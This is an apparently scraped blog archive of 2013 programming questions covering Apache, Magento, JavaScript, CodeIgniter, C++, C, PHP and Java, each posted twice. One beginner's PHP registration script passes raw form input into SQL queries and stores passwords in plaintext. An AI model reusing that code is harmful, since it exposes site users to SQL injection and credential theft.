Installation Of Ubuntu has no menus
I have installed 13.04 from DVD. I have a blank Ubuntu screen with a
background. I have no menu or dash. How do I get a menu, etc.?
Monday, 30 September 2013
how to (if possible) create a SSL certificate for only one website on my apache2 server?
how to (if possible) create a SSL certificate for only one website on my
apache2 server?
I saw some similar posts like this , but it didn't help me at my exact
problem. So I am using ubuntu 12.04 on a server with apache2 on it. There
are like 5 websites which are Virtualhosts and Namebased running on it
(using the same port). Now I need another page whiche REQUIRES a SSL
certificate. Is it possible to run just the one page under ssl or do I
automatically load everything in it when I configure SSL ?
I know that I have to put the SSL server under Port 443 like this :
<virtualhost *:443>
SSLEngine On
SSLCertificateFile /path/to/your/sslcert
DocumentRoot /path/your/webcontent
</virtualhost>
Does anyone know and want to explain me, how to setup ssl for just one page?
apache2 server?
I saw some similar posts like this , but it didn't help me at my exact
problem. So I am using ubuntu 12.04 on a server with apache2 on it. There
are like 5 websites which are Virtualhosts and Namebased running on it
(using the same port). Now I need another page whiche REQUIRES a SSL
certificate. Is it possible to run just the one page under ssl or do I
automatically load everything in it when I configure SSL ?
I know that I have to put the SSL server under Port 443 like this :
<virtualhost *:443>
SSLEngine On
SSLCertificateFile /path/to/your/sslcert
DocumentRoot /path/your/webcontent
</virtualhost>
Does anyone know and want to explain me, how to setup ssl for just one page?
Magento - How to clean up attributes not in attribute set
Magento - How to clean up attributes not in attribute set
I am taking over a website from another developer, and have found the
setup of attributes to be a bit of a mess.
Specifically, products have attributes that aren't associated with the
relevant attribute sets.
If you take wine with an attribute set "Wines", one of whose attributes is
"Grape Variety".
But I also have "Beers" with a completely different attribute set, but
somehow one of my beers has a Grape Variety.
It's not assigned to the Beers attribute set, it doesn't show up in the
back end for this product, (so I can't edit it) but if I look in the
database it's there (in catalog_product_entity_* and
catalog_product_index_eav), furthermore when I do an export it's there
too, and if someone searches for "Merlot", they are coming up with this
beer. There are hundreds of products like this.
What is the best way of removing all attributes from products that are not
within their assigned attribute sets?
I could figure it out in SQL I'm sure, but that's not the best way of
doing things as I'd be afraid of missing something and screwing up the
products altogether.
I am taking over a website from another developer, and have found the
setup of attributes to be a bit of a mess.
Specifically, products have attributes that aren't associated with the
relevant attribute sets.
If you take wine with an attribute set "Wines", one of whose attributes is
"Grape Variety".
But I also have "Beers" with a completely different attribute set, but
somehow one of my beers has a Grape Variety.
It's not assigned to the Beers attribute set, it doesn't show up in the
back end for this product, (so I can't edit it) but if I look in the
database it's there (in catalog_product_entity_* and
catalog_product_index_eav), furthermore when I do an export it's there
too, and if someone searches for "Merlot", they are coming up with this
beer. There are hundreds of products like this.
What is the best way of removing all attributes from products that are not
within their assigned attribute sets?
I could figure it out in SQL I'm sure, but that's not the best way of
doing things as I'd be afraid of missing something and screwing up the
products altogether.
Is there a limit to else if statements?
Is there a limit to "else if" statements?
I would like to ask there a limit on how many "else if" clause we can put?
I have been told that if we are having too many "else if", it will lead to
stack overflow eventually. For example:
if (1 > 1){}
else if (1 > 2){}
else if (1 > 3 ){}
//and so on
else{}
However, I can't find any evidence on this subject, and Googling doesn't
give me the answer that I want. The question below is has the same title,
but has nothing related to the subject that I wanted to ask. Thanks in
advanced.
Javascript: Is there a limit to "else if" statements?
I would like to ask there a limit on how many "else if" clause we can put?
I have been told that if we are having too many "else if", it will lead to
stack overflow eventually. For example:
if (1 > 1){}
else if (1 > 2){}
else if (1 > 3 ){}
//and so on
else{}
However, I can't find any evidence on this subject, and Googling doesn't
give me the answer that I want. The question below is has the same title,
but has nothing related to the subject that I wanted to ask. Thanks in
advanced.
Javascript: Is there a limit to "else if" statements?
Sunday, 29 September 2013
Positioning of Search Bar
Positioning of Search Bar
I have inserted a search bar by using my websites code injection points
and now trying to re position it below my site tag line. Below in an
screenshot of what I am trying to accomplish.
My website is www.jobspark.ca
<script type="text/javascript"
src="//ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"> </script>
<script type="text/javascript">
$(document).ready(function(){
$("#banner-area").prepend("<div id='banner-tagline'>Your British Columbia
and Alberta Job Search</div>");
});
</script>
<div class="positionedSearch"></div>
Current CSS for the search bar includes
.positionedSearch {
width: 400px;
height: 45px;
}
I have inserted a search bar by using my websites code injection points
and now trying to re position it below my site tag line. Below in an
screenshot of what I am trying to accomplish.
My website is www.jobspark.ca
<script type="text/javascript"
src="//ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"> </script>
<script type="text/javascript">
$(document).ready(function(){
$("#banner-area").prepend("<div id='banner-tagline'>Your British Columbia
and Alberta Job Search</div>");
});
</script>
<div class="positionedSearch"></div>
Current CSS for the search bar includes
.positionedSearch {
width: 400px;
height: 45px;
}
Get the Value from a Slider when the slider is moved (in Limesurvey)
Get the Value from a Slider when the slider is moved (in Limesurvey)
i'm working with Limesurvey and Javascript for the first time. I want to
get the value of a slider everytime it is moved. I didn't know how to do
this properly. Until now it got something like:
$(document).ready(function() {
$( "#slider-handle-576875X1492X18245SQ001" ).click(function() {
alert($( ".ui-slider-handle ui-state-default ui-corner-all"
).slider( "value"));
});
});
And this works so far, that everytime i click the slider, i get a alert,
but it only gives me [objetc Object] and not the value.
I'm not sure how i can get the value, because if i look at the html code
of the slider, the value (at this moment 14) is stored anywhere, just in
percentage via style="left: 46.666666666666664%;">
I just post it here so you can have a look!
<div id="slider-576875X1492X18245SQ001" class="ui-slider-1 ui-slider
ui-slider-horizontal ui-widget ui-widget-content ui-corner-all">
<div id="slider-left-576875X1492X18245SQ001" class="slider_showmin">0</div>
<div class="slider_callout" id="slider-callout-576875X1492X18245SQ001"
style="left: 93.32386016845703px;">14</div>
<div class="ui-slider-handle ui-state-default ui-corner-all"
id="slider-handle-576875X1492X18245SQ001" style="left:
46.666666666666664%;"></div>
<div id="slider-right-576875X1492X18245SQ001"
class="slider_showmax">30</div>
</div>
<div id="slider-left-576875X1492X18245SQ001" class="slider_showmin">0</div>
<div class="slider_callout" id="slider-callout-576875X1492X18245SQ001"
style="left: 93.32386016845703px;">14</div>
<div class="ui-slider-handle ui-state-default ui-corner-all"
id="slider-handle-576875X1492X18245SQ001" style="left:
46.666666666666664%;"></div>
i'm working with Limesurvey and Javascript for the first time. I want to
get the value of a slider everytime it is moved. I didn't know how to do
this properly. Until now it got something like:
$(document).ready(function() {
$( "#slider-handle-576875X1492X18245SQ001" ).click(function() {
alert($( ".ui-slider-handle ui-state-default ui-corner-all"
).slider( "value"));
});
});
And this works so far, that everytime i click the slider, i get a alert,
but it only gives me [objetc Object] and not the value.
I'm not sure how i can get the value, because if i look at the html code
of the slider, the value (at this moment 14) is stored anywhere, just in
percentage via style="left: 46.666666666666664%;">
I just post it here so you can have a look!
<div id="slider-576875X1492X18245SQ001" class="ui-slider-1 ui-slider
ui-slider-horizontal ui-widget ui-widget-content ui-corner-all">
<div id="slider-left-576875X1492X18245SQ001" class="slider_showmin">0</div>
<div class="slider_callout" id="slider-callout-576875X1492X18245SQ001"
style="left: 93.32386016845703px;">14</div>
<div class="ui-slider-handle ui-state-default ui-corner-all"
id="slider-handle-576875X1492X18245SQ001" style="left:
46.666666666666664%;"></div>
<div id="slider-right-576875X1492X18245SQ001"
class="slider_showmax">30</div>
</div>
<div id="slider-left-576875X1492X18245SQ001" class="slider_showmin">0</div>
<div class="slider_callout" id="slider-callout-576875X1492X18245SQ001"
style="left: 93.32386016845703px;">14</div>
<div class="ui-slider-handle ui-state-default ui-corner-all"
id="slider-handle-576875X1492X18245SQ001" style="left:
46.666666666666664%;"></div>
Codeigniter routes 404
Codeigniter routes 404
I have a website on a local wamp server (I have used a virtual host
setup). However when I try to link to another controller on the site, I
just get a 404 page (not codeigniters 404). I'm sure I'm missing something
simple, but what I'm not quite sure.
If in the url I put the website.co.uk/index.php/aboutus I get the page
(although it's not got any of my formatting there).
I'm trying to have links in the format: website.co.uk/aboutus
Here is my routes.php
$route['404_override'] = '';
$route['default_controller'] = 'home';
$route['(:any)'] = '$1';
Here is my controller that I'm trying to link to:
class Aboutus extends CI_Controller {
public function index()
{
// $this->load->library('parser');
// $this->load->view('header_view');
// $this->loadContent();
// $this->load->view('footer_view');
$this->load->helper(array('form', 'url'));
$data = array();
$data["title"] = "Our Story";
$data["page_content"] = "here is some page content";
$this->load->view('aboutus_view', $data);
}
}
I am using the follow href tag for the link
<a href="<?php echo site_url('aboutus'); ?> ">
In my config file I have
$config['base_url'] = '';
$config['index_page'] = '';
Has anyone got any ideas as to what I'm missing?
Thank you.
I have a website on a local wamp server (I have used a virtual host
setup). However when I try to link to another controller on the site, I
just get a 404 page (not codeigniters 404). I'm sure I'm missing something
simple, but what I'm not quite sure.
If in the url I put the website.co.uk/index.php/aboutus I get the page
(although it's not got any of my formatting there).
I'm trying to have links in the format: website.co.uk/aboutus
Here is my routes.php
$route['404_override'] = '';
$route['default_controller'] = 'home';
$route['(:any)'] = '$1';
Here is my controller that I'm trying to link to:
class Aboutus extends CI_Controller {
public function index()
{
// $this->load->library('parser');
// $this->load->view('header_view');
// $this->loadContent();
// $this->load->view('footer_view');
$this->load->helper(array('form', 'url'));
$data = array();
$data["title"] = "Our Story";
$data["page_content"] = "here is some page content";
$this->load->view('aboutus_view', $data);
}
}
I am using the follow href tag for the link
<a href="<?php echo site_url('aboutus'); ?> ">
In my config file I have
$config['base_url'] = '';
$config['index_page'] = '';
Has anyone got any ideas as to what I'm missing?
Thank you.
Variadic template pointer to member function declaration/usage issues
Variadic template pointer to member function declaration/usage issues
// This compiles and runs properly
using MemPtr = Entity&(OBFactory::*)(const Vec2i&, float);
void test(MemPtr mptr, const Vec2i& p, float d)
{
(getFactory().*mptr)(p, d);
}
// "no matching function for call to `test`,
// failed candidate template argument deduction"
template<typename... A> using MemPtr = Entity&(OBFactory::*)(A...);
template<typename... A> void test(MemPtr<A...> mptr, const Vec2i& p, float d)
{
(getFactory().*mptr)(p, d);
}
...
// I call both versions with
test(&OBFactory::func, Vec2i{0, 0}, 0.f);
Why doesn't the variadic template version work? Am I missing some forwarding?
// This compiles and runs properly
using MemPtr = Entity&(OBFactory::*)(const Vec2i&, float);
void test(MemPtr mptr, const Vec2i& p, float d)
{
(getFactory().*mptr)(p, d);
}
// "no matching function for call to `test`,
// failed candidate template argument deduction"
template<typename... A> using MemPtr = Entity&(OBFactory::*)(A...);
template<typename... A> void test(MemPtr<A...> mptr, const Vec2i& p, float d)
{
(getFactory().*mptr)(p, d);
}
...
// I call both versions with
test(&OBFactory::func, Vec2i{0, 0}, 0.f);
Why doesn't the variadic template version work? Am I missing some forwarding?
Saturday, 28 September 2013
Certain Normal Subgroups of a Free Group
Certain Normal Subgroups of a Free Group
Let $F$ be a free group on some set $X$. For any $x \in F$ and $n \in
\mathbb{Z}$, we have that $\langle x^n \rangle \lhd F$. Why does this
hold?
For any word $w \in F$, we have $wx^n w^{-1} = (wxw^{-1})^n$ and hence it
seems to suffice to show that $wxw^{-1} = x^k$ for some $k \in
\mathbb{Z}$, but I am not sure why this should be the case.
Let $F$ be a free group on some set $X$. For any $x \in F$ and $n \in
\mathbb{Z}$, we have that $\langle x^n \rangle \lhd F$. Why does this
hold?
For any word $w \in F$, we have $wx^n w^{-1} = (wxw^{-1})^n$ and hence it
seems to suffice to show that $wxw^{-1} = x^k$ for some $k \in
\mathbb{Z}$, but I am not sure why this should be the case.
Submit data in chat app - should I have a button?
Submit data in chat app - should I have a button?
I'm building a chat application on a website. I don't know anyone who uses
their mouse to send the chat messages, rather that just hitting
return/enter. 10 years ago you always had a button as a alternative to
using your enter key. Although, take a look at Google Chrome, they don't
have a button to hit after you have entered your url. A few years back
they had. Now it's just enter.
Would there be any consequences of not having a button?
I'm building a chat application on a website. I don't know anyone who uses
their mouse to send the chat messages, rather that just hitting
return/enter. 10 years ago you always had a button as a alternative to
using your enter key. Although, take a look at Google Chrome, they don't
have a button to hit after you have entered your url. A few years back
they had. Now it's just enter.
Would there be any consequences of not having a button?
How do I create a registration, login/logout form, and a profile page for users in php
How do I create a registration, login/logout form, and a profile page for
users in php
I've asked questions before on how to connect to the database using
000webhost, I've failed many times on connections and what not. I need
some help on creating a sign up form and email verification and a
login/logout form. I am a beginner web developer, should I switch to a
different hosting provider because all the creditials for 000webhost are
to complicated and I just want a simple database connection that would
actually work for me. What hosting provider should I switch too? Here's my
code I am having trouble with connecting to the database:
<?php
$email = $_POST['email'];
if ($email == null) //add more tests as needed.
{
die("You must fill out everything on the form!");
}
else
{
//continue...
}
$username = $_POST['username'];
if ($username == null) //add more tests as needed.
{
die("You must fill out everything on the form!");
}
else
{
//continue...
}
$password = $_POST['password'];
if ($password == null) //add more tests as needed.
{
die("You must fill out everything on the form!");
}
else
{
//continue...
}
$connect = mysql_connect (
$host = $mysql#.000webhost.com;
$dbuser = $#####_#####;
$dbpass = $########;
$db = $#####_######;
$siteurl = http://#######.site90.com/;
$sitemail = autoresponder@#####.site90.com;
$domain = http://#########.site90.com/;
)
if (!$connect)
{
die('Could not connect: WHAT THE FUCK ' . mysql_error());
}
else
{
mysql_select_db('######_#####', $connect);
$alreadyexists = mysql_query("SELECT password FROM tbl_users WHERE
email = $email");
if ($alreadyexists != null)
{
die('This email has already been registered. Please use a different
email.');
}
$alreadyexists = mysql_query("SELECT password FROM tbl_users WHERE
username = $username");
if ($alreadyexists != null)
{
die('This username has already been registered. Please use a different
username.');
}
mysql_query("INSERT INTO Persons (username,email,password)
VALUES ($username,$email,$password)");
}
?>
users in php
I've asked questions before on how to connect to the database using
000webhost, I've failed many times on connections and what not. I need
some help on creating a sign up form and email verification and a
login/logout form. I am a beginner web developer, should I switch to a
different hosting provider because all the creditials for 000webhost are
to complicated and I just want a simple database connection that would
actually work for me. What hosting provider should I switch too? Here's my
code I am having trouble with connecting to the database:
<?php
$email = $_POST['email'];
if ($email == null) //add more tests as needed.
{
die("You must fill out everything on the form!");
}
else
{
//continue...
}
$username = $_POST['username'];
if ($username == null) //add more tests as needed.
{
die("You must fill out everything on the form!");
}
else
{
//continue...
}
$password = $_POST['password'];
if ($password == null) //add more tests as needed.
{
die("You must fill out everything on the form!");
}
else
{
//continue...
}
$connect = mysql_connect (
$host = $mysql#.000webhost.com;
$dbuser = $#####_#####;
$dbpass = $########;
$db = $#####_######;
$siteurl = http://#######.site90.com/;
$sitemail = autoresponder@#####.site90.com;
$domain = http://#########.site90.com/;
)
if (!$connect)
{
die('Could not connect: WHAT THE FUCK ' . mysql_error());
}
else
{
mysql_select_db('######_#####', $connect);
$alreadyexists = mysql_query("SELECT password FROM tbl_users WHERE
email = $email");
if ($alreadyexists != null)
{
die('This email has already been registered. Please use a different
email.');
}
$alreadyexists = mysql_query("SELECT password FROM tbl_users WHERE
username = $username");
if ($alreadyexists != null)
{
die('This username has already been registered. Please use a different
username.');
}
mysql_query("INSERT INTO Persons (username,email,password)
VALUES ($username,$email,$password)");
}
?>
After reboot why wont my server allow my script to copy files?
After reboot why wont my server allow my script to copy files?
I have a server running centos, which hadn't been restarted in 540 days.
We had to put a secure cert on it, and rebooted.
There was a php script that was running, and has been for years which
copied files selected by a web application from their source, threw them
into a zip file and forced downloads along with an informational PDF.
Since that reboot, we have tried running the script, and although the zip
file and the pdf are created, and the pdf is put into the zip, none of the
images selected gets copied from the origin to the folder or pdf.
I guessed a permissions issue, but there are no errors on the logs that
say otherwise. The user for the files are all marked apache/apache which
is the same as the folder.
So I guess I am asking, would have permissions have changed on reboot
somewhere, or could they get assigned somewhere on reboot?
Alternatively, is there something else I should be looking for? The images
are moved and copied using gzcompress in a php script.
I have a server running centos, which hadn't been restarted in 540 days.
We had to put a secure cert on it, and rebooted.
There was a php script that was running, and has been for years which
copied files selected by a web application from their source, threw them
into a zip file and forced downloads along with an informational PDF.
Since that reboot, we have tried running the script, and although the zip
file and the pdf are created, and the pdf is put into the zip, none of the
images selected gets copied from the origin to the folder or pdf.
I guessed a permissions issue, but there are no errors on the logs that
say otherwise. The user for the files are all marked apache/apache which
is the same as the folder.
So I guess I am asking, would have permissions have changed on reboot
somewhere, or could they get assigned somewhere on reboot?
Alternatively, is there something else I should be looking for? The images
are moved and copied using gzcompress in a php script.
Friday, 27 September 2013
difference between Java and C++ copy constructor
difference between Java and C++ copy constructor
How does Java support copy constructor and how is it different from C++? I
would like to understand the Java equivalent of the logic to execute rule
of three (copy constructor, destructor, assignment operator) from the
compiler side of the story.
How does Java support copy constructor and how is it different from C++? I
would like to understand the Java equivalent of the logic to execute rule
of three (copy constructor, destructor, assignment operator) from the
compiler side of the story.
Send formatted list of tuples as body of an email
Send formatted list of tuples as body of an email
Maybe this has been asked already, but I can't find it, and I need help. I
have a list of tuple pairs:
mylist = [('name1', 'name2'), ('name3', 'name4'), ('name5','name6')]
The list is generated from a MySQL database and can be of any length. It
is possible that some of the names are the same. It is not absolutely
necessary that the data type be a list of tuples. That's just what made
the most sense to me. It can be a list of lists, tuple of tuples, etc. A
dictionary doesn't make sense to me, because, as previously stated, any of
the names can be the same. This is in python using django, which can't be
changed.
Anyway, I want to send an email with the contents of Mylist as the body. I
want to format it, though, so that it looks in the body of the email like
this:
name1, name2
name3, name4
name5, name6
In other words, I want it to look like normal text you would see in an
email body. Initially, my thinking was that I had to use a function and
generate a variable for each line of output. There may be a way to get
this done without creating new variables for each newline, but I can't
figure it out. To be honest, I haven't figured it out at all. I've tried
for loops, while loops, recursive functions, etc. No luck.
This is for work, and I could really use some help. Thanks
Maybe this has been asked already, but I can't find it, and I need help. I
have a list of tuple pairs:
mylist = [('name1', 'name2'), ('name3', 'name4'), ('name5','name6')]
The list is generated from a MySQL database and can be of any length. It
is possible that some of the names are the same. It is not absolutely
necessary that the data type be a list of tuples. That's just what made
the most sense to me. It can be a list of lists, tuple of tuples, etc. A
dictionary doesn't make sense to me, because, as previously stated, any of
the names can be the same. This is in python using django, which can't be
changed.
Anyway, I want to send an email with the contents of Mylist as the body. I
want to format it, though, so that it looks in the body of the email like
this:
name1, name2
name3, name4
name5, name6
In other words, I want it to look like normal text you would see in an
email body. Initially, my thinking was that I had to use a function and
generate a variable for each line of output. There may be a way to get
this done without creating new variables for each newline, but I can't
figure it out. To be honest, I haven't figured it out at all. I've tried
for loops, while loops, recursive functions, etc. No luck.
This is for work, and I could really use some help. Thanks
Hide Hyperlink if data is null
Hide Hyperlink if data is null
I want to hide the text "Apply Online!" below if the applicationURL is null.
<div class='sfitemShortTxtWrp'>
<asp:HiddenField runat="server" ID="hdnApplyURL" Value='<%#
Bind("ApplicationURL") %>' />
<a id="cmdApply" href="http://<%# Eval("ApplicationURL")%>"
target="_blank" style="font-weight: bold">Apply Online!</a>
</div>
Thanks!
I want to hide the text "Apply Online!" below if the applicationURL is null.
<div class='sfitemShortTxtWrp'>
<asp:HiddenField runat="server" ID="hdnApplyURL" Value='<%#
Bind("ApplicationURL") %>' />
<a id="cmdApply" href="http://<%# Eval("ApplicationURL")%>"
target="_blank" style="font-weight: bold">Apply Online!</a>
</div>
Thanks!
ERROR: Insufficient system memory in resource pool 'internal' to run this query. Visual Studio 2012
ERROR: Insufficient system memory in resource pool 'internal' to run this
query. Visual Studio 2012
When I update my model. edmx in visual studio 2012 the following error
occurs:
Unable to generate the model because of the following exception: 'An error
occurred while executing the command definition. See the inner exception
for details. There is insufficient system memory in resource pool
'internal' to run this query.
anyone know why? only have two simple tables in the model
query. Visual Studio 2012
When I update my model. edmx in visual studio 2012 the following error
occurs:
Unable to generate the model because of the following exception: 'An error
occurred while executing the command definition. See the inner exception
for details. There is insufficient system memory in resource pool
'internal' to run this query.
anyone know why? only have two simple tables in the model
Singleton Pattern Implementation in Java [duplicate]
Singleton Pattern Implementation in Java [duplicate]
This question already has an answer here:
What is an efficient way to implement a singleton pattern in Java? 20 answers
I was recently asked in an interview: How do you implement a Singleton
design pattern in Java?
I was a little confused because there are 2 options:
1) Just have a static data member. A static member, e.g.
private static Logger logger;
will ensure that only one logger is shared among all objects of a given
class.
2) Implement an instance-controller that restricts instances:
public class LoggerWrapper {
private static Logger instance = null;
private LoggerWrapper() { }
public static Logger getInstance() {
if (instance == null) {
instance = new Logger ();
}
return instance;
}
}
What is the difference between these 2 singleton approaches?
This question already has an answer here:
What is an efficient way to implement a singleton pattern in Java? 20 answers
I was recently asked in an interview: How do you implement a Singleton
design pattern in Java?
I was a little confused because there are 2 options:
1) Just have a static data member. A static member, e.g.
private static Logger logger;
will ensure that only one logger is shared among all objects of a given
class.
2) Implement an instance-controller that restricts instances:
public class LoggerWrapper {
private static Logger instance = null;
private LoggerWrapper() { }
public static Logger getInstance() {
if (instance == null) {
instance = new Logger ();
}
return instance;
}
}
What is the difference between these 2 singleton approaches?
Open a websitelink inside an android app with dynamically generated links
Open a websitelink inside an android app with dynamically generated links
I'm reading in an XML-file and one of these attributes is the article url.
A link, that - when clicked - navigates the user to the web page with his
standard browser.
I realized making the link clickable with the Linkify-method
articleURL[i].setText("Article-URL: " + Html.fromHtml("<a href='" +
((Node) articleURList.item(0)).getNodeValue() + "'>" + ((Node)
articleURList.item(0)).getNodeValue() + "</a>"));
Linkify.addLinks(articleURL[i], Linkify.ALL);
When I now click the link it opens up the website in my browser. What I
want to achieve now, is to open the web page in the same app. I've tried
it like that
String article = ((Node) articleURList.item(0)).getNodeValue()
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(article));
startActivity(browserIntent);
But this starts the browser as soon as the part is reached. And since it's
in a for loop to gather all information from the XML file it will directly
open the first web page linked there.
What I want to achieve now is that the app opens the website in the app
itself when the user clicks on the linkified link.
The data I have from the XML file gets 25-50 data sets. And to display
them I run a for loop. Now I just want, that, when the user clicks on one
of the 25 links, that the app starts its own browser (without address bar)
and just opens the website. How can I achieve this?
I'm reading in an XML-file and one of these attributes is the article url.
A link, that - when clicked - navigates the user to the web page with his
standard browser.
I realized making the link clickable with the Linkify-method
articleURL[i].setText("Article-URL: " + Html.fromHtml("<a href='" +
((Node) articleURList.item(0)).getNodeValue() + "'>" + ((Node)
articleURList.item(0)).getNodeValue() + "</a>"));
Linkify.addLinks(articleURL[i], Linkify.ALL);
When I now click the link it opens up the website in my browser. What I
want to achieve now, is to open the web page in the same app. I've tried
it like that
String article = ((Node) articleURList.item(0)).getNodeValue()
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(article));
startActivity(browserIntent);
But this starts the browser as soon as the part is reached. And since it's
in a for loop to gather all information from the XML file it will directly
open the first web page linked there.
What I want to achieve now is that the app opens the website in the app
itself when the user clicks on the linkified link.
The data I have from the XML file gets 25-50 data sets. And to display
them I run a for loop. Now I just want, that, when the user clicks on one
of the 25 links, that the app starts its own browser (without address bar)
and just opens the website. How can I achieve this?
Why can auto-suggest not access methods from Reference Classes in R
Why can auto-suggest not access methods from Reference Classes in R
Do I need to export Reference Classes methods somehow? Because methods
defined within reference classes seem not work with $ operator
auto-suggest, while functions that reside in lists do. This is pretty
annoying when reference classes contain many methods and their definitions
become longer. Am I missing some return(invisible()) or export?
What's the trick here?
Do I need to export Reference Classes methods somehow? Because methods
defined within reference classes seem not work with $ operator
auto-suggest, while functions that reside in lists do. This is pretty
annoying when reference classes contain many methods and their definitions
become longer. Am I missing some return(invisible()) or export?
What's the trick here?
Thursday, 26 September 2013
find how many times user touched the light sensor in Android
find how many times user touched the light sensor in Android
I want to know how many times a user touched the sensor , in an interval
of time. For that I used.
event.sensor.getType() == Sensor.TYPE_LIGHT
Then I thought I need to check for light blocking event(black\dark) with
some value defined , and then we can identify. Is it the way to get the
needful.
I want to know how many times a user touched the sensor , in an interval
of time. For that I used.
event.sensor.getType() == Sensor.TYPE_LIGHT
Then I thought I need to check for light blocking event(black\dark) with
some value defined , and then we can identify. Is it the way to get the
needful.
Wednesday, 25 September 2013
C# Help me with Prepare Statement | Update
C# Help me with Prepare Statement | Update
Can you help me with prepare statement?. I using this code which you can
watch down but when i used this code so prepare statement still send me
problem with @reference already exist but i want only update existing
data.
// Create and prepare an SQL statement.
command.CommandText = "UPDATE table SET column = @nazev " + "from table
left outer join next.table on next.table.column = table.column " + "WHERE
table.column = @reference";
SqlParameter referenceParam = new SqlParameter("@reference",
SqlDbType.VarChar, 30);
SqlParameter nazevParam = new SqlParameter("@nazev", SqlDbType.VarChar, 100);
// I get data to list from richtextbox and from richtextbox.Rows i added
data to lists
referenceParam.Value = Definitions.ReferenceSubjektu[i];
nazevParam.Value = Definitions.Preklady[i];
// Command for Název
command.Parameters.Add(referenceParam);
command.Parameters.Add(nazevParam);
// Call Prepare after setting the Commandtext and Parameters.
command.Prepare();
command.ExecuteNonQuery();
Can you help me with prepare statement?. I using this code which you can
watch down but when i used this code so prepare statement still send me
problem with @reference already exist but i want only update existing
data.
// Create and prepare an SQL statement.
command.CommandText = "UPDATE table SET column = @nazev " + "from table
left outer join next.table on next.table.column = table.column " + "WHERE
table.column = @reference";
SqlParameter referenceParam = new SqlParameter("@reference",
SqlDbType.VarChar, 30);
SqlParameter nazevParam = new SqlParameter("@nazev", SqlDbType.VarChar, 100);
// I get data to list from richtextbox and from richtextbox.Rows i added
data to lists
referenceParam.Value = Definitions.ReferenceSubjektu[i];
nazevParam.Value = Definitions.Preklady[i];
// Command for Název
command.Parameters.Add(referenceParam);
command.Parameters.Add(nazevParam);
// Call Prepare after setting the Commandtext and Parameters.
command.Prepare();
command.ExecuteNonQuery();
Thursday, 19 September 2013
Copy an Internal file to an External location in Libgdx
Copy an Internal file to an External location in Libgdx
I'm trying to use these lines of code to copy a master file
data/HighScores.txt to an external location so its readable. Only problem
is, the code I'm using isn't creating the file..
public static void fixFile() {
FileHandle old = Gdx.files.internal("data/HighScores.txt");
System.out.println(new
File(Gdx.files.external("HighScores.txt").path()).getAbsolutePath());
Gdx.files.external("HighScores.txt").delete();
old.copyTo(Gdx.files.external(""));
}
I don't get any errors or anything, the file just doesn't seem to copy over.
Also, when I try and refrence it using
Gdx.files.external("HighScores.txt") It breaks the program or the reader
reads null
I'm trying to use these lines of code to copy a master file
data/HighScores.txt to an external location so its readable. Only problem
is, the code I'm using isn't creating the file..
public static void fixFile() {
FileHandle old = Gdx.files.internal("data/HighScores.txt");
System.out.println(new
File(Gdx.files.external("HighScores.txt").path()).getAbsolutePath());
Gdx.files.external("HighScores.txt").delete();
old.copyTo(Gdx.files.external(""));
}
I don't get any errors or anything, the file just doesn't seem to copy over.
Also, when I try and refrence it using
Gdx.files.external("HighScores.txt") It breaks the program or the reader
reads null
C Programing : Parent & Child Process
C Programing : Parent & Child Process
I'm trying to figure this out, given the following code:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
char mynum='0';
int main(void)
{
int i;
pid_t fork_return;
static char buffer[10];
fork_return = fork();
if (fork_return == 0)
{
strcpy(buffer, "CHILD"); /*in the child process*/
for (i=0; i<5; ++i) /*both processes do this*/
{
mynum=i + '0';
sleep(1); /*5 times each*/
write(1, buffer, sizeof(buffer));
write(1, &mynum, 1);
write(1, "\n", 1);
}
return 0;
}
else
{
strcpy(buffer, "PARENT"); /*in the parent process*/
for (i=0; i<5; ++i) /*both processes do this*/
{
sleep(1); /*5 times each*/
write(1, buffer, sizeof(buffer));
write(1, &mynum, 1);
write(1, "\n", 1);
}
return 0;
}
}
Notice that mynum is a global variable.
Child is incrementing the ASCII value of mynum
Parent is not
Child and Parent can take turns running
Why does child print CHILD0, CHILD1, CHILD2, etc whereas parent prints
PARENT0, PARENT0, PARENT0, etc? Remember mynum is a global variable.
I'm trying to figure this out, given the following code:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
char mynum='0';
int main(void)
{
int i;
pid_t fork_return;
static char buffer[10];
fork_return = fork();
if (fork_return == 0)
{
strcpy(buffer, "CHILD"); /*in the child process*/
for (i=0; i<5; ++i) /*both processes do this*/
{
mynum=i + '0';
sleep(1); /*5 times each*/
write(1, buffer, sizeof(buffer));
write(1, &mynum, 1);
write(1, "\n", 1);
}
return 0;
}
else
{
strcpy(buffer, "PARENT"); /*in the parent process*/
for (i=0; i<5; ++i) /*both processes do this*/
{
sleep(1); /*5 times each*/
write(1, buffer, sizeof(buffer));
write(1, &mynum, 1);
write(1, "\n", 1);
}
return 0;
}
}
Notice that mynum is a global variable.
Child is incrementing the ASCII value of mynum
Parent is not
Child and Parent can take turns running
Why does child print CHILD0, CHILD1, CHILD2, etc whereas parent prints
PARENT0, PARENT0, PARENT0, etc? Remember mynum is a global variable.
Change Text Indent Style with Javascript
Change Text Indent Style with Javascript
So in Javascript (not jQuery)
I can set visibility style of a div with an ID of example to visible with
the following:
document.getElementById("example").style.visibility = 'visible';
Question is, how do I do the same with the text-indent property? The below
doesn't work.
document.getElementById("example").style.text-indent = 'none';
So in Javascript (not jQuery)
I can set visibility style of a div with an ID of example to visible with
the following:
document.getElementById("example").style.visibility = 'visible';
Question is, how do I do the same with the text-indent property? The below
doesn't work.
document.getElementById("example").style.text-indent = 'none';
JMeter: Calling external classes and methods?
JMeter: Calling external classes and methods?
I have a Java test project that I would like to import in my JMeter test
so that I can call the existing methods in the test project. I did some
research, and came to know that I can create a jar of my Java project,
copy the jar into the JMETER_HOME/lib/ext folder, and then use the
BeanShell Processor to call the external methods.
I am trying to use the existing test project, and call its methods to
generate a JSON payload. I added a BeanShell PreProcessor, and did
something like:
import com.qa.base.services.user.User;
User user = User.generateSimpleUser();
user.setField("username", "testUsername");
user.setField("password", "testPassword");
vars.put("requestJsonPayload");
This does not seem to work, and I get an ERROR:
ERROR - jmeter.util.BeanShellInterpreter: Error invoking bsh method: eval
Sourced file: inline evaluation of: ``import
com.qa.base.services.user.User'' : Typed variable declaration : Method
Invocation User.generateSimpleUser()
Anybody know how I can achieve what I am trying to do? Any suggestions,
comments, links to tutorials, examples would be helpful. Thanks in
advance!
I have a Java test project that I would like to import in my JMeter test
